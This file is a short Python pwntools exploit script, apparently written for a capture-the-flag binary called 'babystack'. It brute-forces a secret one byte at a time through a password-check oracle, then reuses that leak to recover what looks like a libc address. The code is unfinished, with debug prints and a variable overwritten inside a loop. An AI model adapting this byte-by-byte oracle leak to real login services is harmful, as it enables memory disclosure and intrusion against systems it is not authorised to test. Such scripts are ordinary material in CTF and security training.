from pwn import *
p = process('./babystack')
leak1 = ''
def leak():
    leak1 = ''
    for i in range(16):
        for j in range(0x1,0x100):
            if(i>0 and j<=1):
                p.sendlineafter(">> ","1")
            p.sendlineafter(">> ","1")
            p.sendlineafter("Your passowrd :",leak1+chr(j)+"\x00")
            a = p.recvline()
            if("Login Success !" in a):
                leak1 += chr(j)
                break
    return leak1
libc1 = ''
def libc(a):
    libc1 = ''
    for i in range(8):
        print "hello"
        for j in range(0x0,0x100):
            print "hi"
            if(i>0 and j<=1):
                p.sendlineafter(">> ","1")
            p.sendlineafter(">> ","1")
            p.sendlineafter("Your passowrd :", a + libc1 + chr(j)+"\x00")
            a = p.recvline()
            if("Login Success !" in a):
                libc1 += chr(j)
                print libc1
                break
    return libc1

a = leak()
print a.encode("hex")
p.sendlineafter(">> ","1")
b = libc(a)
#print b.encode("hex")
